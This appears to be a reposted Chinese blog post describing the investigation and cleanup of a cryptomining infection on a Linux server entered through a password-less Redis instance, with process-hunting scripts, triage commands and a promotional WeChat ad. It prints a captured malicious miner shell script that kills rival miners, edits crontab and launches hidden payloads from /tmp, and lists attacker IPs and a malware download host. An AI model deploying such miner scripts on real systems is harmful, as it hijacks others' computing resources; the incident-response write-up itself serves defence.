记一次挖矿病毒的溯源

这篇具有很好参考价值的文章主要介绍了记一次挖矿病毒的溯源。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

ps:因为项目保密的原因部分的截图是自己在本地的环境复现。

1. 起因

客户打电话过来说,公司web服务异常卡顿。起初以为是web服务缓存过多导致,重启几次无果后觉得可能是受到了攻击。起初以为是ddos攻击,然后去查看web服务器管理面板时发现网络链接很少,但是cpu占用高达99%,于是便怀疑是中了挖矿病毒。

2.排查可疑进程

首先发现cpu占用率过高,初步怀疑是挖矿病毒。于是上ssh开始排查

使用top命令查看进程占用列表。发现并没有占用过高的程序,但是查询cpu占用率确实是99%。怀疑是隐藏了linux进程。

以为是做了进程隐藏,于是写了个python脚本遍历/proc目录。/proc目录是一个虚拟文件系统,用于提供有关系统内核和运行进程的信息。该目录中包含一系列以数字命名的子目录,每个子目录代表一个正在运行的进程。在这些子目录中,可以访问有关进程状态、内存使用情况、打开的文件列表等信息。

该脚本遍历proc目录,查询ps aux不显示的进程id,然后显示打印出来。

import os
​
def get_max_pid():
   pid_list = [int(pid) for pid in os.listdir('/proc') if
pid.isdigit()]
   return str(max(pid_list))
​
def get_existing_process_ids(max_pid):
   process_ids = []
   for pid in range(1, int(max_pid) + 1):
       if os.path.exists('/proc/' + str(pid)):
           process_ids.append(str(pid))
   return process_ids
​
def get_ps_aux_process_ids():
   process_ids = []
   output = os.popen('ps aux').read()
   lines = output.split('n')
   for line in lines[1:]:
       if line.strip() != '':
           pid = line.split()[1]
           process_ids.append(pid)
   return process_ids
​
max_pid = get_max_pid()
existing_process_ids = get_existing_process_ids(max_pid)
ps_aux_process_ids = get_ps_aux_process_ids()
​
for pid in existing_process_ids:
   if pid not in ps_aux_process_ids:
       print('Hidden PID {}'.format(pid))

emmmm, 但是效果不是很理想,有一大部分进程都是僵尸进程。

然后一个一个排查后效果不佳,并无发现什么可疑进程。

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

3 排查网络链接

于是打算从网络链接中入手,使用netstat-antp进行排查。发现有进程在链接47.130.146.28这个ip地址,然后拿这个ip地址反查域名。

发现是绑定的log.softgoldinformation.com这个域名。

然后搜索这个域名,发现之前也有人排查过了。

然后发现其实还有其他ip这里就不一一截图了。moneroocean,xmrig,kdevtmpfsi,mysqlserver等病毒基本上都有在链接。(服务器基本上已经中了n种病毒了。基本上与各种矿池都有链接。)

然后协商客户运维,设置只允许服务器访问国内ip地址,这一步主要是为了能通畅的链接ssh。因为挖矿病毒一般都是挖取xmr,xmr使用的基本上都是cpu,在挖矿进程链接不了矿池的情况下通常都不会产生cpu占用。果然禁止服务器出网后,cpu占用率就下来了。(也是为了防止服务器继续链接挖矿者的c2)

4 寻找漏洞

问过客户服务器有装什么软件,然后说是为了方便做web数据库的缓存,半个月之前装了redis。

使用ps aux|grep redis查看redis端口。

尝试空密码链接成功。基本确定入口点是redis。

5 补救措施

发现基本已经在跑着几个挖矿的病毒了。这里不确定能不能把后门排查完,只能和客户沟通说先排查一遍看看。(因为挖矿木马一般都会有后门,在清理挖矿程序后,后门会自动检查挖矿程序是否运行,如果不运行的话会重新下载一个挖矿程序然后再次运行。所以在完全清除挖矿程序后一段时间内,cpu占用率不飙升就可以说明清理成功。反之则说明挖矿病毒并未清理成功。)

首先查看一下定时任务。 发现并无异常。

cat /etc/crontab

然后查看tmp目录,发现有sh文件,这里抽取一个sh来分析,基本上/tmp出现这种都可以确定服务器被挖矿了。同理的还有/var/tmp目录。

ls -la /tmp

随便打开一个配置文件就能发现,攻击者的矿池地址和钱包地址。这种情况基本把tmp目录全部清除即可。

下面是一个solr的挖矿病毒脚本,这里只是kill掉了挖矿同行的进程和定时任务。

#!/bin/sh
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
while [ 1 ]
do
   killall /tmp/*
   killall /var/tmp/*
  crontab -l | sed '/195.3.146.118/d' | crontab -
  crontab -l | sed '/cf.sh/d' | crontab -
  crontab -l | sed '/xms/d' | crontab -
  crontab -l | sed '/kwork.sh/d' | crontab -
  crontab -l | sed '/cyberium/d' | crontab -
  crontab -l | sed '/newdat/d' | crontab -
   rm -f /tmp/*
   ps aux | grep -v grep | grep 'javaupDates' | awk '{print $2}'
| xargs -I % kill -9 %
   ps aux | grep -v grep | grep 'givemexyz' | awk '{print $2}'
| xargs -I % kill -9 %
   ps aux | grep -v grep | grep 'dbused' | awk '{print $2}' |
xargs -I % kill -9 %
   ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}'
| xargs -I % kill -9 %
   ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' |
xargs -I % kill -9 %
   ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep
'wget' | awk '{print $2}' | xargs -I % kill -9 %
   ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep
'curl' | awk '{print $2}' | xargs -I % kill -9 %
   ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep
'urlopen' | awk '{print $2}' | xargs -I % kill -9 %
  pgrep JavaUpdate | xargs -I % kill -9 %
  pgrep kinsing | xargs -I % kill -9 %
  pgrep donate | xargs -I % kill -9 %
  pgrep kdevtmpfsi | xargs -I % kill -9 %
  pgrep trace | xargs -I % kill -9 %
  pgrep sysupdate | xargs -I % kill -9 %
  pgrep mysqlserver | xargs -I % kill -9 %
   ps aux | grep -v grep | grep 'trace' | awk '{print $2}' |
xargs -I % kill -9 %
  pkill xmrig
  pkill sysupdate
  pkill sysguard
  pkill kthreaddk
  pkill networkservice
  pkill kdevtmpfsi
  pkill watchbog
   p=$(ps auxf|grep solrd|awk '{if($3>=60.0) print $2}')
   name=""$p
   if [ -z "$name" ]
   then
      pkill solrd
       ps aux | grep -v grep | grep -v
'java|redis|weblogic|solr|mongod|mysql|oracle|tomcat|grep|postgres|confluence|awk|aux|sh'
| awk '{if($3>60.0) print $2}' | xargs -I % kill -9 %
      nohup /tmp/.solr/solrd &>>/dev/null &
       sleep 30
      nohup /tmp/.solr/genshin &>>/dev/null &
       sleep 30
   else
        :
   fi
done
•

查看/etc/passwd 是否有恶意用户

cat /etc/passwd

查看ssh是否有后门用户 (因为是redis的洞 很有可能会写入sshkey)

ls -la /root/.ssh/

然后用clamscan扫描一遍

clamscan -r /

设置redis密码登录。(这一步是由客户人员配置)

然后删除tmp目录下的脚本文件

rm -rf /tmp/*.sh

6 脚本分析

这里抽取其中的一个sh脚本讲一下挖矿病毒逻辑,因为脚本较大,所以这里是抽取部分代码过一遍逻辑,实际上常见的挖矿病毒脚本基本都差不多是一个逻辑,所以这里抽取了一个。

首先脚本的逻辑是从kill掉其他挖矿同行进程开始

然后写了一个定时任务

然后判断目标系统位数,到[http://94.103.87.71/]{.underline}去下载病毒程序

这也就是最终的病毒文件

 

 

 

果不其然

最后是自动清理本身

总结

这次事故主要是因为开发人员不懂安全,直接开放redis数据库在公网并且不设置登录密码。虽然是内网服务器但是万幸做好了隔离。不然挖矿病毒肯定会在内网进行传播。

ps:听说客户之后去问了开发小哥,开发小哥说随便在网上找的教程,教程上是这样配置的就直接复制粘贴上去。所以建议大家在配置东西的时候尽量去查一下文档。

更多网安技能的在线实操练习,请点击这里>>

  文章来源地址https://www.toymoban.com/news/detail-760210.html

到了这里,关于记一次挖矿病毒的溯源的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 记一次阿里云被挖矿处理记录

    摘要 莫名其妙的服务器就被攻击了,又被薅了羊毛,当做免费的挖矿劳动力了。 上班(摸鱼)好好的,突然收到一条阿里云的推送短信,不看不知道,两台服务器被拉去作为苦力,挖矿去了。这不是耽误我摸鱼吗,再说你挖到的矿币又不带我分,岂能忍。本着对公司负责任

    2024年02月13日
    浏览(39)
  • 记一次服务器被挖矿的处理解决

    docker最近总是莫名其妙的下载镜像启动容器,且并没有其他镜像是需要下载ubuntu作为底层包的。有意思的是每隔两个小时左右启动一个容器,没有将cpu资源完全消耗,保持可用。 开始排查 命令查看陌生容器的日志 docker logs -f containerId ,发现典型kinsing挖矿病毒 ! last 命令查看

    2024年02月20日
    浏览(31)
  • 记一次linux复制病毒处理过程

    某天我的阿里云突然发信息告诉我服务器有自变异木马,我用远程工具连接服务器异常卡顿甚至掉线,reboot也不好使.用阿里云的网页控制台会好些,但还是卡,我又用阿里云控制台重启服务器,重启之后发现服务器完全连不上了,ping也ping不通了,我问了客服说可以用救援连接试试,果

    2024年01月24日
    浏览(50)
  • 记一次Windows勒索病毒应急响应实战

    查看本地用户,未发现异常: 打开任务管理器,发现可疑进程F.exe: 利用wmi查看进程信息,发现其位置在开始菜单启动项中: C:UsersgyAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup 同时,通过任务管理器,发现windows临时文件夹中也有该程序 通过测试可知F.exe为勒索病毒程

    2024年02月06日
    浏览(27)
  • 挖矿病毒应急响应思路,挖矿病毒事件处理步骤

    「作者简介」: CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者 「推荐专栏」: 对网络安全感兴趣的小伙伴可以关注专栏《网络安全入门到精通》 比特币系统每隔一段时间就会在节点上生成一个 「随机代码」 ,互联网中的所有设备都可以寻找这个代

    2024年02月10日
    浏览(32)
  • 记一次springboot项目漏洞挖掘

    前段时间的比赛将该cms作为了题目考察,这个cms的洞也被大佬们吃的差不多了,自己也就借此机会来浅浅测试下这个cms残余漏洞,并记录下这一整个流程,谨以此记给小白师傅们分享下思路,有错误的地方还望大佬们请以指正。 参考官方文档,给出了很详细的安装说明,如安

    2024年02月03日
    浏览(33)
  • 挖矿病毒常见处置方法

    挖矿病毒特征: “挖矿”病毒是一段恶意代码或者一个软件,一般利用主机或者操作系统的高危漏洞术在局域网内传播,控制电脑进行大量的计算机运算来获取虚拟货币。该病毒会消耗大量的计算机处理资源,常见的就是系统中毒后系统CPU占用接近100%、系统卡顿执行基本命

    2024年02月13日
    浏览(26)
  • “挖矿”病毒排查处置方法

    挖矿病毒被植入主机后,利用主机的运算力进行挖矿,主要体现在CPU使用率高达90%以上,有大量对外进行网络连接的日志记录。 Linux主机中挖矿病毒后的现象如下图所示: Windows主机中挖矿病毒后的现象如下图所示: 一旦发现主机或服务器存在上述现象,则极有可能已经感染

    2024年02月08日
    浏览(24)
  • 记一次项目内存优化--内存泄漏

    主要是与某个版本作基准进行对比(一般是最新版本的前一个版本作原数据),优化后,PSS有所下降,线上OOM率减少(Bugly版本对比),泄漏点减少(从捉取一些线上上传回来的内存堆栈信息分析,或本地测试后dump下hprof文件分析)。 了解什么是内存泄漏 了解虚拟机中的对象

    2024年02月12日
    浏览(56)
  • 阿里云挖矿病毒解决

    有一次,我们在阿里上的服务器收到这样的短信。 【阿里云】尊敬的xxxxxx:  经检测您的阿里云服务(ECS实例)xxxxxxxx存在挖矿活动。根据相关法规、政策的规定及监管部门的要求,请您于2023-02-27 00时前完成挖矿问题整改,否则您的服务将被关停,详情请查看邮件或阿里云站

    2024年02月08日
    浏览(27)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包